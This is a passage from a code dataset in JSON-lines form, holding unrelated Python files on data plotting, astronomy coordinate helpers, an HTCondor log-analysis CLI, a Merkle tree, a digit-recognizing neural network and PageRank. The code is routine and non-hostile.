ix, age_group_id in enumerate(xrange(2, 14)):\n ax = fig.add_subplot(grid[ix])\n tmp = test.loc[test.age_group_id == age_group_id]\n tmp = tmp.drop_duplicates(demography_cols)\n ax.plot(tmp.year_id.unique(),\n tmp.loc[tmp.sex_id == 2]['mean'].values, 'b',\n label='Female')\n ax.fill_between(tmp.year_id.unique(),\n tmp.loc[tmp.sex_id == 2]['lower'].values,\n tmp.loc[tmp.sex_id == 2]['upper'].values)\n\n ax.text(0.7, 0.95, age_map[age_group_id],\n verticalalignment='top',\n horizontalalignment='left', transform=ax.transAxes,\n color='black', fontsize=12)\n location = location_map[location_id]\n suptitle = '{location}, {acause}'.format(location=location,\n acause=acause)\n fig.suptitle(suptitle, fontsize=15)\n pp.savefig()\n\n\ndef plot_risk_attributable(ds, acause, sex_id, location_ids, risk, outdir,\n start_age_group_id=10, end_age_group_id=22):\n ''' Plot risk attributable mortality across scenarios.\n\n # NOTE: this is called within plot_risk_attr_mort()\n\n Parameters\n ----------\n ds: risk attributable mortality in xarray format.\n acause: str\n risk: str\n sex_id: int, 1 or 2\n location_ids: list\n outdir: output directory\n start_age_group_id: int, default 10\n end_age_group_id: int, default 22\n '''\n # TODO Kendrick said: This is kind of weird (I think), because if I call\n # a different plotting function plot_thing(), and then this plotting\n # function, and then call plot_thing() again,\n # it could potentially change plot_thing() because of the sns stuff.\n sns.despine()\n sns.set_style('ticks')\n\n age_map = get_ages().\\\n set_index('age_group_id')['age_group_name'].to_dict()\n location_map = get_modeled_locations().\\\n set_index('location_id')['location_name'].to_dict()\n color_map = ['r', 'b', 'g']\n\n sexn = 'male' if sex_id == 1 else 'female'\n outfile = os.path.join(outdir, '{}_{}_{}.pdf'.format(acause, risk, sexn))\n if not os.path.exists(os.path.dirname(outfile)):\n os.makedirs(os.path.dirname(outfile))\n # Calculate statistics.\n ds['mean'] = ds['value'].mean(dim='draw')\n ds = ds.loc[dict(sex_id=sex_id)]\n\n with PdfPages(outfile) as pp:\n for location_id in location_ids:\n loc_ds = ds.loc[{\"location_id\": location_id}]\n nrow = 4\n ncol = 3\n fig = plt.figure(figsize=(15, 12))\n grid = gridspec.GridSpec(nrow, ncol)\n\n for ix, age_group_id in enumerate(xrange(start_age_group_id,\n end_age_group_id)):\n ax = fig.add_subplot(grid[ix])\n age_ds = loc_ds.loc[{\"age_group_id\": age_group_id}]\n for scenario in [-1, 1, 0]:\n scenario_ds = age_ds.loc[dict(scenario=scenario)]\n ax.plot(scenario_ds['year_id'], scenario_ds['mean'],\n color=color_map[scenario+1])\n ax.text(0.7, 0.95, age_map[age_group_id],\n verticalalignment='top',\n horizontalalignment='left',\n transform=ax.transAxes,\n color='black', fontsize=12)\n ax.axvline(x=2015, color='k')\n\n location = location_map[location_id]\n suptitle = \"{location}, {acause}, {risk}\".format(\n location=location, acause=acause,\n scenario=scenario, risk=risk)\n fig.suptitle(suptitle, fontsize=15)\n pp.savefig()\n","sub_path":"scalars/plot_tools.py","file_name":"plot_tools.py","file_ext":"py","file_size_in_byte":8352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150386575","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport numpy as np\nfrom astropy import units as u\nfrom astropy.coordinates import UnitSphericalRepresentation\nfrom astropy.wcs.utils import skycoord_to_pixel\n\n\ndef _pixel_scale_angle_at_skycoord(skycoord, wcs, offset=1. * u.arcsec):\n \"\"\"\n Calculate the pixel scale and WCS rotation angle at the position of\n a SkyCoord coordinate.\n\n Parameters\n ----------\n skycoord : `~astropy.coordinates.SkyCoord`\n The SkyCoord coordinate.\n wcs : `~astropy.wcs.WCS`\n The world coordinate system (WCS) transformation to use.\n offset : `~astropy.units.Quantity`\n A small angular offset to use to compute the pixel scale and\n position angle.\n\n Returns\n -------\n scale : `~astropy.units.Quantity`\n The pixel scale in arcsec/pixel.\n angle : `~astropy.units.Quantity`\n The angle (in degrees) measured counterclockwise from the\n positive x axis to the \"North\" axis of the celestial coordinate\n system.\n\n Notes\n -----\n If distortions are present in the image, the x and y pixel scales\n likely differ. This function computes a single pixel scale along\n the North/South axis.\n \"\"\"\n\n # We take a point directly \"above\" (in latitude) the input position\n # and convert it to pixel coordinates, then we use the pixel deltas\n # between the input and offset point to calculate the pixel scale and\n # angle.\n\n # Find the coordinates as a representation object\n coord = skycoord.represent_as('unitspherical')\n\n # Add a a small perturbation in the latitude direction (since longitude\n # is more difficult because it is not directly an angle)\n coord_new = UnitSphericalRepresentation(coord.lon, coord.lat + offset)\n coord_offset = skycoord.realize_frame(coord_new)\n\n # Find pixel coordinates of offset coordinates and pixel deltas\n x_offset, y_offset = skycoord_to_pixel(coord_offset, wcs, mode='all')\n x, y = skycoord_to_pixel(skycoord, wcs, mode='all')\n dx = x_offset - x\n dy = y_offset - y\n\n scale = offset.to(u.arcsec) / (np.hypot(dx, dy) * u.pixel)\n angle = (np.arctan2(dy, dx) * u.radian).to(u.deg)\n\n return scale, angle\n","sub_path":"photutils/utils/_wcs_helpers.py","file_name":"_wcs_helpers.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607832002","text":"__author__ = 'hailunzhu'\n\nimport sys\n\np = \"/Users/hailunzhu/cmu/course/11676/parseData/prep/\"\nyear = \"2013/\"\nfiles = ['AUDUSD', 'EURUSD', 'GBPUSD']\npath = p + year\nbasefile = path + files[0]\nstart = 1\n\nfor i in range(start, len(files)):\n comparefile = path + files[i]\n writefile = basefile + '-' + files[i]\n bf = open(basefile)\n cf = open(comparefile)\n wf = open(writefile,'w')\n\n lines1 =[]\n lines2 = []\n for line in bf:\n lines1.append(line)\n for line in cf:\n lines2.append(line)\n\n j=0\n k=0\n len1 = len(lines1)\n len2 = len(lines2)\n\n while j configargparse.ArgumentParser:\n \"\"\"\n Define parser with all arguments listed below.\n\n :param default_config_files: list with config file hierarchy to look for\n :return: parser\n \"\"\"\n parser = configargparse.\\\n ArgumentParser(formatter_class=CustomFormatter,\n default_config_files=default_config_files,\n description=\"Analyze or summarize HTCondor-Joblogs\")\n\n parser.add_argument(\"path\",\n nargs=\"*\",\n action=\"append\",\n default=[],\n help=\"ANY number of paths to log file(s)\")\n # also to add files with different destination,\n # to be used for config file / escaping flags with action=append\n parser.add_argument(\"-f\", \"--files\",\n nargs=1,\n action=\"append\",\n dest=\"more_files\",\n default=[],\n help=\"ONE path to log file\")\n parser.add_argument(\"-r\", \"--recursive\",\n action=\"store_true\",\n default=None,\n help=\"Recursive search through directory hierarchy\")\n\n parser.add_argument(\"--version\",\n help=\"Print out extended execution details\",\n action=\"store_true\")\n\n parser.add_argument(\"-v\", \"--verbose\",\n help=\"Print out extended execution details\",\n action=\"store_true\",\n default=None)\n parser.add_argument(\"--generate-log-file\",\n nargs=\"?\",\n const=\"htcanalyze.log\",\n default=None,\n help=\"generates output about the process,\"\n \" which is mostly useful for developers, \"\n \"if no file is specified,\"\n \" default: htcanalyze.log\")\n\n all_vals = []\n for item in ALLOWED_MODES.items():\n all_vals.extend(list(item))\n\n parser.add_argument(\"-m\", \"--mode\",\n help=\"Specifiy an interpretation mode\",\n choices=all_vals)\n\n parser.add_argument(\"-s\", dest=\"summarize_mode\",\n help=\"Short for --mode summarize,\"\n \" combine with -a for analyzed-summary mode\",\n action=\"store_true\")\n\n parser.add_argument(\"-a\", dest=\"analyze_mode\",\n help=\"Short for --mode analyze,\"\n \" combine with -s for analyzed-summary mode\",\n action=\"store_true\")\n\n parser.add_argument(\"--ext-log\",\n help=\"Suffix of HTCondor job logs (default: none)\",\n type=str)\n parser.add_argument(\"--ext-out\",\n help=\"Suffix of job out logs (default: .out)\",\n type=str)\n parser.add_argument(\"--ext-err\",\n help=\"Suffix of job error logs (default: .err)\",\n type=str)\n\n ignore_metavar = \"{\" + ALLOWED_IGNORE_VALUES[0] + \" ... \" \\\n + ALLOWED_IGNORE_VALUES[-1] + \"}\"\n allowed_ign_vals = ALLOWED_IGNORE_VALUES[:] # copying\n allowed_ign_vals.append('') # needed so empty list are valid in config\n parser.add_argument(\"--ignore\",\n nargs=\"+\",\n action=\"append\",\n choices=allowed_ign_vals,\n metavar=ignore_metavar,\n dest=\"ignore_list\",\n default=[],\n help=\"Ignore a section to not be printed\")\n allowed_show_vals = ALLOWED_SHOW_VALUES[:] # copying\n allowed_show_vals.append('') # needed so empty list are valid in config\n parser.add_argument(\"--show\",\n nargs=\"+\",\n action=\"append\",\n dest=\"show_list\",\n choices=allowed_show_vals,\n default=[],\n help=\"Show more details\")\n\n parser.add_argument(\"--filter\",\n nargs=\"+\",\n metavar=\"keywords\",\n help=\"Filter for the given keywords\",\n default=[],\n dest=\"filter_keywords\",\n action=\"append\",\n type=str)\n parser.add_argument(\"--extend\",\n action=\"store_true\",\n dest=\"filter_extended\",\n default=None,\n help=\"extend the filter keyword list \"\n \"by specific error keywords\")\n\n parser.add_argument(\"--rdns-lookup\",\n action=\"store_true\",\n default=None,\n help=\"Resolve the ip-address of an execution nodes\"\n \" to their dns entry\")\n\n parser.add_argument(\"--tolerated-usage\",\n type=float,\n help=\"Threshold to warn the user, \"\n \"when a given percentage is exceeded \"\n \"between used and requested resources\")\n\n parser.add_argument(\"--bad-usage\",\n type=float,\n help=\"Threshold to signal overuse/waste of resources, \"\n \"when a given percentage is exceeded \"\n \"between used and requested resources\")\n parser.add_argument(\"-c\", \"--config\",\n is_config_file=True,\n help=\"ONE path to config file\")\n parser.add_argument(\"--no-config\",\n action=\"store_true\",\n help=\"Do not search for config\")\n\n return parser\n\n\ndef manage_params(args: list) -> dict:\n \"\"\"\n manage params.\n\n returns a dict looking like (default):\n\n {'verbose': False,\n 'generate_log_file': None,\n 'mode': None,\n 'ext_log': '',\n 'ext_out': '.out',\n 'ext_err': '.err',\n 'ignore_list': [],\n 'show_list': [],\n 'no_config': False,\n 'filter_keywords': [],\n 'extend': False,\n 'rdns_lookup': False\n 'files': []\n ....\n }\n\n :param args: list of args\n :return: dict with params\n \"\"\"\n prio_parsed, args = setup_prioritized_parser().parse_known_args(args)\n # first of all check for prioritised/exit params\n if prio_parsed.version:\n print(\"Version: v1.3.0\")\n sys.exit(0)\n\n # get files from prio_parsed\n files_list = list()\n for log_file in prio_parsed.more_files:\n files_list.extend(log_file)\n\n if prio_parsed.config:\n # do not use config files if --no-config flag is set\n if prio_parsed.no_config:\n # if as well config is set, exit, because of conflict\n print(\"htcanalyze: error: conflict between \"\n \"--no-config and --config\")\n sys.exit(2)\n # else add config again\n args.extend([\"--config\", prio_parsed.config[0]])\n\n # parse config file if not --no-config is set, might change nothing\n if not prio_parsed.no_config:\n config_paths = ['/etc/htcanalyze.conf',\n '~/.config/htcanalyze/htcanalyze.conf',\n f'{sys.prefix}/config/htcanalyze.conf']\n cmd_parser = setup_commandline_parser(config_paths)\n commands_parsed = cmd_parser.parse_args(args)\n cmd_dict = vars(commands_parsed).copy()\n\n # extend files list by given paths\n for log_paths in commands_parsed.path:\n files_list.extend(log_paths)\n # add files, if none are given by terminal\n if not files_list:\n for log_paths in cmd_dict[\"more_files\"]:\n # make sure that empty strings are not getting inserted\n if len(log_paths) == 1 and log_paths[0] != \"\":\n files_list.extend(log_paths)\n\n # remove empty string from lists, because configargparse\n # inserts empty strings, when list is empty\n for val in cmd_dict.keys():\n if isinstance(cmd_dict[val], list):\n for li in cmd_dict[val]:\n if len(li) == 1 and li[0] == \"\":\n li.remove(\"\")\n\n else:\n cmd_parser = setup_commandline_parser()\n commands_parsed = cmd_parser.parse_args(args)\n # extend files list by given paths\n for li in commands_parsed.path:\n files_list.extend(li)\n cmd_dict = vars(commands_parsed).copy()\n\n del cmd_dict[\"path\"]\n del cmd_dict[\"more_files\"]\n cmd_dict[\"files\"] = files_list\n\n # concat ignore list\n new_ignore_list = list()\n for li in cmd_dict[\"ignore_list\"]:\n new_ignore_list.extend(li)\n cmd_dict[\"ignore_list\"] = new_ignore_list\n\n # concat show list\n new_show_list = list()\n for li in cmd_dict[\"show_list\"]:\n new_show_list.extend(li)\n cmd_dict[\"show_list\"] = new_show_list\n\n # concat filter list\n new_filter_list = list()\n for li in cmd_dict[\"filter_keywords\"]:\n new_filter_list.extend(li)\n cmd_dict[\"filter_keywords\"] = new_filter_list\n\n # parse the mode correctly\n if commands_parsed.analyze_mode and commands_parsed.summarize_mode:\n mode = \"analyzed-summary\"\n elif commands_parsed.analyze_mode:\n mode = \"analyze\"\n elif commands_parsed.summarize_mode:\n mode = \"summarize\"\n elif commands_parsed.mode is not None:\n if commands_parsed.mode in ALLOWED_MODES.keys():\n mode = ALLOWED_MODES[commands_parsed.mode]\n else:\n mode = commands_parsed.mode\n else:\n mode = None # will result in default mode\n\n cmd_dict[\"mode\"] = mode\n # error handling\n try:\n if cmd_dict[\"filter_extended\"] and not cmd_dict[\"filter_keywords\"]:\n raise_value_error(\"--extend not allowed without --filter\")\n if cmd_dict[\"show_list\"] and (\n mode == \"analyzed-summary\" or mode == \"summarize\"):\n raise_value_error(\"--show only allowed with analyze mode\")\n except ValueError as err:\n rprint(f\"[red]htcanalyze: error: {err}[/red]\")\n sys.exit(2)\n\n # delete unnecessary information\n del cmd_dict[\"summarize_mode\"]\n del cmd_dict[\"analyze_mode\"]\n del cmd_dict[\"version\"]\n del cmd_dict[\"no_config\"]\n\n if cmd_dict['ext_log'] is None:\n cmd_dict['ext_log'] = \"\"\n if cmd_dict['ext_err'] is None:\n cmd_dict['ext_err'] = \".err\"\n if cmd_dict['ext_out'] is None:\n cmd_dict['ext_out'] = \".out\"\n\n return cmd_dict\n\n\ndef wrap_dict_to_table(table_dict, title=\"\") -> Table:\n \"\"\"\n Wrap dict to rich table.\n\n Takes a dict of the format :\n {\n column1: [Header1, Header2, Header3]\n column2: [val1, val2, val3]\n }\n Why ? Because the tool tabulate took the data like this\n and this function is supposed to reduce the usage of tabulate\n without too much work\n :param table_dict:\n :param title: title of table\n :return: table\n \"\"\"\n if not table_dict:\n return None\n\n table = Table(title=title,\n show_header=True,\n header_style=\"bold magenta\",\n box=box.ASCII)\n n_vals = len(next(iter(table_dict.values()))) # get len of first value\n for val in table_dict.keys():\n table.add_column(val)\n for i in range(n_vals):\n new_list = [str(table_dict[val][i]) for val in table_dict]\n table.add_row(*new_list)\n\n return table\n\n\ndef print_results(htcanalyze: HTCAnalyze,\n log_files: LogList,\n mode: str,\n ignore_list=list,\n filter_keywords=list,\n filter_extended=False,\n **kwargs) -> str:\n \"\"\"\n Create the output specified by the mode.\n\n :param log_files:\n :param mode:\n :param ignore_list:\n :param filter_keywords:\n :param filter_extended:\n :param kwargs:\n :return:\n \"\"\"\n if filter_keywords:\n results = htcanalyze.\\\n filter_for(log_files,\n keywords=filter_keywords,\n extend=filter_extended,\n mode=mode)\n elif mode.__eq__(\"analyzed-summary\"):\n if len(log_files) == 1:\n results = htcanalyze.analyze(log_files) # analyze single file\n else:\n results = htcanalyze.analyzed_summary(log_files)\n elif mode.__eq__(\"summarize\"):\n results = htcanalyze.summarize(log_files) # summarize information\n elif mode.__eq__(\"analyze\"):\n results = htcanalyze.analyze(log_files) # analyze\n else:\n # default entry points\n if len(log_files) == 1:\n results = htcanalyze.analyze(log_files) # analyze single file\n else:\n results = htcanalyze.analyzed_summary(log_files) # else\n\n # Allow this to happen\n if results is None:\n sys.exit(0)\n # convert result to processed data list, if given as dict, else copy\n proc_data_list = [results] if isinstance(results, dict) else results.copy()\n\n # check for ignore values\n for data_dict in proc_data_list:\n\n for key in data_dict:\n if data_dict[key] is None:\n logging.debug(f\"This musst be fixed, \"\n f\"data_dict['{key}'] is None.\")\n rprint(\"[red]NoneType object found, \"\n \"this should not happen[/red]\")\n\n if \"description\" in data_dict:\n rprint(data_dict[\"description\"])\n\n if \"execution-details\" in data_dict:\n if \"execution-details\" in ignore_list:\n del data_dict[\"execution-details\"]\n elif data_dict[\"execution-details\"]:\n table = wrap_dict_to_table(data_dict[\"execution-details\"])\n rprint(table)\n\n if \"times\" in data_dict:\n if \"times\" in ignore_list:\n del data_dict[\"times\"]\n elif data_dict[\"times\"]:\n table = wrap_dict_to_table(data_dict[\"times\"])\n rprint(table)\n\n if \"all-resources\" in data_dict:\n if \"all-resources\" in ignore_list:\n del data_dict[\"all-resources\"]\n else:\n resource_list = data_dict[\"all-resources\"]\n for resource in resource_list:\n resource.chg_lvl_by_threholds(0.25, 0.1)\n res_dict = resources_to_dict(resource_list)\n if \"used-resources\" in ignore_list:\n del res_dict[\"Usage\"]\n if \"requested-resources\" in ignore_list:\n del res_dict[\"Requested\"]\n if \"allocated-resources\" in ignore_list:\n del res_dict[\"Allocated\"]\n\n table = wrap_dict_to_table(res_dict)\n rprint(table)\n\n if \"ram-history\" in data_dict:\n if \"ram-history\" in ignore_list:\n del data_dict[\"ram-history\"]\n elif data_dict[\"ram-history\"] is not None:\n print(data_dict[\"ram-history\"])\n\n if \"errors\" in data_dict:\n if \"errors\" in ignore_list:\n del data_dict[\"errors\"]\n elif data_dict[\"errors\"] is not None:\n table = wrap_dict_to_table(data_dict[\"errors\"],\n \"Occurred HTCondor errors\")\n rprint(table)\n\n if \"host-nodes\" in data_dict:\n if \"host-nodes\" in ignore_list:\n del data_dict[\"host-nodes\"]\n elif data_dict[\"host-nodes\"] is not None:\n table = wrap_dict_to_table(data_dict[\"host-nodes\"])\n rprint(table)\n\n # Show more section\n if \"htc-out\" in data_dict and data_dict[\"htc-out\"] != \"\":\n rprint(\"\\n[bold cyan]Related HTC standard output:[/bold cyan]\")\n rprint(data_dict[\"htc-out\"])\n\n if \"htc-err\" in data_dict and data_dict[\"htc-err\"] != \"\":\n rprint(\"\\n[bold cyan]Related HTCondor standard error:[/bold cyan]\")\n rprint(data_dict[\"htc-err\"])\n\n print()\n\n\ndef check_for_redirection() -> (bool, bool, list):\n \"\"\"Check if reading from stdin or redirecting stdout.\"\"\"\n redirecting_stdout = not sys.stdout.isatty()\n reading_stdin = not sys.stdin.isatty()\n stdin_input = None\n\n if reading_stdin:\n stdin_input = sys.stdin.readlines()\n\n return redirecting_stdout, reading_stdin, stdin_input\n\n\ndef run(commandline_args):\n \"\"\"\n Run this script.\n\n :param commandline_args: list of args\n :return:\n \"\"\"\n if not isinstance(commandline_args, list):\n commandline_args = commandline_args.split()\n\n try:\n start = date_time.now()\n\n redirecting_stdout, reading_stdin, std_input = check_for_redirection()\n\n if reading_stdin and std_input is not None:\n for line in std_input:\n commandline_args.extend(line.rstrip('\\n').split(\" \"))\n\n param_dict = manage_params(commandline_args)\n\n setup_logging_tool(param_dict[\"generate_log_file\"],\n param_dict[\"verbose\"])\n\n logging.debug(\"-------Start of htcanalyze script-------\")\n\n # do not show legend, if output is redirected\n show_legend = not redirecting_stdout\n htcanalyze = HTCAnalyze(\n ext_log=param_dict[\"ext_log\"],\n ext_out=param_dict[\"ext_out\"],\n ext_err=param_dict[\"ext_err\"],\n show_list=param_dict[\"show_list\"],\n rdns_lookup=param_dict[\"rdns_lookup\"],\n tolerated_usage=param_dict[\"tolerated_usage\"],\n bad_usage=param_dict[\"bad_usage\"],\n show_legend=show_legend\n )\n\n if param_dict[\"verbose\"]:\n logging.info('Verbose mode turned on')\n\n if reading_stdin:\n logging.debug(\"Reading from stdin\")\n if redirecting_stdout:\n logging.debug(\"Output is getting redirected\")\n\n validator = LogValidator(ext_log=param_dict[\"ext_log\"],\n ext_out=param_dict[\"ext_out\"],\n ext_err=param_dict[\"ext_err\"],\n recursive=param_dict[\"recursive\"])\n\n valid_files = validator.common_validation(param_dict[\"files\"])\n\n rprint(f\"[green]{len(valid_files)}\"\n f\" valid log file(s)[/green]\\n\")\n\n if not valid_files:\n rprint(\"[red]No valid HTCondor log files found[/red]\")\n sys.exit(1)\n\n print_results(htcanalyze, log_files=valid_files, **param_dict)\n\n end = date_time.now()\n\n logging.debug(f\"Runtime: {end - start}\") # runtime of this script\n\n logging.debug(\"-------End of htcanalyze script-------\")\n\n sys.exit(0)\n\n except TypeError as err:\n logging.exception(err)\n rprint(f\"[red]{err.__class__.__name__}: {err}[/red]\")\n sys.exit(3)\n\n except KeyboardInterrupt:\n logging.info(\"Script was interrupted by the user\")\n print(\"Script was interrupted\")\n sys.exit(4)\n\n\ndef main():\n \"\"\"main function (entry point).\"\"\"\n run(sys.argv[1:])\n\n\nif __name__ == \"main\":\n \"\"\"execute module.\"\"\"\n main()\n","sub_path":"htcanalyze/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":24356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585956739","text":"#MUST IMPORT TO USE FUNCTION\r\nimport random \r\n\r\n#DEFINITION TO GET VALUES\r\ndef move_trainer():\r\n directions = ['N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'] #LIST OF DIRECTIONS\r\n random1 = random.choice(directions) #CHOOSES FROM LIST\r\n random2 = random.random() #CHOOSES A VALUE FROM 0 TO 1\r\n print('Direction', random1 +',', 'value {:.2f}'.format(random2)) #TWO DECIMAL PLACES FOR VALUE\r\n \r\n#INPUTS \r\nM = int(input('Enter the integer number of rows => '))\r\nprint(M)\r\nN = int(input('Enter the integer number of cols => '))\r\nprint(N)\r\n\r\nrandom.seed(10 * M + N)\r\n\r\nn = 0\r\nwhile n < 15: #KEEPS GOING UNTIL 15 TIMES\r\n (move_trainer())\r\n n += 1 #ALLOWS THE LOOP TO END \r\n","sub_path":"commonAST/py-test-files/hw5Part1.py","file_name":"hw5Part1.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"434663159","text":"# Error: Found backslash that is used for line breaking\n# Permissible to use break line\nfrom gendiff.formatters.format_diff import \\\n STYLISH_FORMATTER as DEFAULT_FORMATTER # noqa: N400\nfrom gendiff.generate_diff import generate_diff\n\n# Error: Wrong module metadata violation\n# Justified use meta-variable __all__\n__all__ = ( # noqa: WPS410\n 'generate_diff',\n 'DEFAULT_FORMATTER',\n)\n","sub_path":"gendiff/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"540712946","text":"import csv as csv \nimport numpy as np\n\nfrom sklearn.metrics import accuracy_score\nfrom neural_network import NeuralNetwork\n\n\n# Load training and test data\ntrain_data = np.loadtxt('data/train-small.csv', delimiter=',', skiprows=1)\n# test_data = np.loadtxt('data/test.csv', delimiter=',', skiprows=1)\n\nX_train = train_data[:, 1:]\ny_train = train_data[0::, 0].astype(int)\n# X_test = test_data\n\n# Set up neural network parameters\nreg_lambda = 30\nepsilon = 0.12\nhidden_layer_size = 25\nmaxiter = 50\n\n# Train the neural network\nnn = NeuralNetwork(reg_lambda=reg_lambda, hidden_layer_size=hidden_layer_size, \n epsilon=epsilon, maxiter=500)\nnn.fit(X_train, y_train)\n\n\n# Make predictions\npredictions = nn.predict(X_train)\naccuracy = accuracy_score(y_train, predictions)\n\nprint(sum(predictions == y_train))\nprint(y_train.shape[0])\nprint\nprint(\"ACCURACY AFTER\")\nprint(\"%.2f %% \" % (accuracy * 100))\nprint\n\n# predictions = np.zeros((X_test.shape[0] + 1, 2))\n# predictions[:, 0] = np.arange(X_test.shape[0] + 1)\n# predictions[1:, 1] = predict(Theta1, Theta2, X_test)\n# np.savetxt('data/final_submission.csv', predictions, delimiter=',')\n","sub_path":"digit_recognizer.py","file_name":"digit_recognizer.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"420660286","text":"class SIMPL_Frontend:\n import TheActualOne as p\n parser = p.Parser()\n\n from pocketsphinx import LiveSpeech\n for phrase in LiveSpeech():\n p.input(phrase)\n\n def Pcode(s):\n print(s)\n\n def Scode(s):\n engine = speake3.Speake() # Initialize the speak engine\n engine = speake3.Speak()\n engine.set('voice', 'en')\n engine.set('speed', '107')\n engine.set('pitch', '99')\n engine.say(s) # String to be spoken\n engine.talkback()\n","sub_path":"tests/tests (DAVE N)/SIMPL_Frontend.py","file_name":"SIMPL_Frontend.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"233598571","text":"# @file merkle.py\n# @date 29 Dec 2018\n# @brief Merkle Tree implementation based on RFC 6962 (Certificate Transparency)\n\nimport hashlib, json, time, base64\n\n# The class of a merkle tree of middlebox certificates\nclass Merkle:\n # Initializer\n # self.certificates: the list of the certificates involved in the tree\n def __init__(self, cert, priv):\n self.certificates = []\n self.cert = cert\n self.priv = priv\n\n # Add one certificate\n def add_certificate(self, att):\n self.certificates.append(json.dumps(att, sort_keys = True))\n\n # Get the merkle root value\n def get_merkle_root(self):\n return self.merkle_tree_hash(self.certificates)\n\n # Get the signed tree head\n def get_sth(self):\n ret = {}\n ret[\"tree_size\"] = len(self.certificates)\n ret[\"timestamp\"] = int(time.time() * 1000)\n ret[\"sha256_root_hash\"] = base64.b64encode(get_merkle_root().encode())\n ths = struct.pack('>BBqqp', 0, 1, ret[\"timestamp\"], ret[\"tree_size\"], ret[\"sha256_root_hash\"])\n ret[\"tree_head_signature\"] = OpenSSL.crypto.sign(self.priv, ths, 'sha256')\n return json.dumps(ret), 200\n\n # Get the largest power of two less than n\n def largest_power_of_two(self, n):\n k = 1\n\n while k < n:\n k *= 2\n\n k /= 2\n return int(k)\n\n # Make the merkle tree hash value from the list\n def merkle_tree_hash(self, lst):\n return self._merkle_tree_hash(lst)\n\n def _merkle_tree_hash(self, lst):\n h = hashlib.sha256()\n\n if len(lst) == 0:\n h.update(b\"\")\n return h.hexdigest()\n elif len(lst) == 1:\n h.update(b'\\x00')\n h.update(lst[0].encode())\n return h.hexdigest()\n else:\n k = self.largest_power_of_two(len(lst))\n h.update(b'\\x01')\n h.update(self._merkle_tree_hash(lst[0:k]).encode())\n h.update(self._merkle_tree_hash(lst[k:]).encode())\n return h.hexdigest()\n\n # Get the list of the audit path of the (m+1)th index in the list\n def merkle_audit_path(self, m, lst):\n n = len(lst)\n k = self.largest_power_of_two(n)\n\n if n <= 0:\n return []\n elif m == 0 and n == 1:\n return []\n elif n > 1:\n if m < k:\n return self._merkle_audit_path(m, lst[0:k]).append(self._merkle_tree_hash(lst[k:n]))\n else:\n return self._merkle_audit_path(m - k, lst[k:n]).append(self._merkle_tree_hash(lst[0:k]))\n\n # Get the list of the consistency proof of the tree compared with the previous list\n def merkle_consistency_proof(self, m, lst):\n return _merkle_consistency_subproof(m, lst, True)\n\n def _merkle_consistency_subproof(self, m, lst, b):\n n = len(lst)\n k = self.largest_power_of_two(n)\n\n if m > n: # error case\n return []\n elif m == n and b is True:\n return []\n elif m == n and b is False:\n return [merkle_tree_hash(lst)]\n elif m < n:\n if m <= k:\n return _merkle_consistency_subproof(m, lst[0:k], b).append(self._merkle_tree_hash(lst[k:n]))\n else:\n return _merkle_consistency_subproof(m - k, lst[k:n], false).append(self._merkle_tree_hash(lst[0:k]))\n","sub_path":"middlebox-transparency/log_server/merkle/merkle.py","file_name":"merkle.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"100091133","text":"\r\nimport networkx as nx\r\n\r\n'''\r\n\tAuthor: Pankaj Verma & Pratik Chhajer & Krishnendu Sahu\r\n\tDate: 21/08/2018\r\n\tThis function finds the leader of the network.\r\n\tRequired python packages: networkx\r\n\tinput: Input graph text file such that nodes of an edge\r\n\tare present separated by a space in one line.\r\n\toutput: Return the node which is leader\r\n'''\r\n\r\ndef leader(input_graph_file):\r\n\r\n\t# Read graph from text file directly\r\n\tG = nx.read_edgelist(input_graph_file,create_using=nx.DiGraph(), nodetype = int)\r\n\t\r\n\t# finding number of nodes in our graph\r\n\tn = G.number_of_nodes()\r\n\r\n\t# List of all the nodes in our graph\r\n\tNodes = G.nodes\r\n\r\n\t# Dictionary to store pagerank of all the nodes\r\n\t# It will be updated after every iteration\r\n\tPage_Rank_Value = {}\r\n\r\n\t# A temporary dictionary to sotre pagerank\r\n\tTemp = {}\r\n\r\n\t# Initial pagerank value divided equally\r\n\tt = 1.0/n\r\n\r\n\t# Assigning equal pagerank value to all nodes\r\n\tfor i in Nodes:\r\n\t\tPage_Rank_Value[i] = t\r\n\t\tTemp[i] = 0\r\n\r\n\t# Total number of iterations\r\n\titr_total = 10000\r\n\r\n\t# index of iteration\r\n\titr = 0\r\n\r\n\t# Absolute error to keep track of changes in each iteration\r\n\terr = 1\r\n\r\n\t# Iterate till convergence or after 10k iterations\r\n\twhile(itr < itr_total and err > 1e-7):\r\n\t\tfor i in Nodes:\r\n\t\t\tNeighbors = list(G.neighbors(i))\r\n\t\t\tp = len(Neighbors)\r\n\t\t\tfor j in Neighbors:\r\n\t\t\t\tTemp[j] += (Page_Rank_Value[i]*1.0)/p\r\n\t\t\tif(p == 0):\r\n\t\t\t\ty = (Page_Rank_Value[i]*1.0)/(n-1)\r\n\t\t\t\tfor x in Nodes:\r\n\t\t\t\t\tif x != i:\r\n\t\t\t\t\t\tTemp[x] += y\r\n\t\t\r\n\t\terr = 0\r\n\t\tfor i in Nodes:\r\n\t\t\terr += abs(Page_Rank_Value[i] - Temp[i])\r\n\t\t\tPage_Rank_Value[i] = Temp[i]\r\n\t\t\tTemp[i] = 0\r\n\t\titr+=1\r\n\r\n\tleader_index = 0\r\n\tleader_score = 0\r\n\r\n\tfor i in Page_Rank_Value:\r\n\t\tif(Page_Rank_Value[i] > 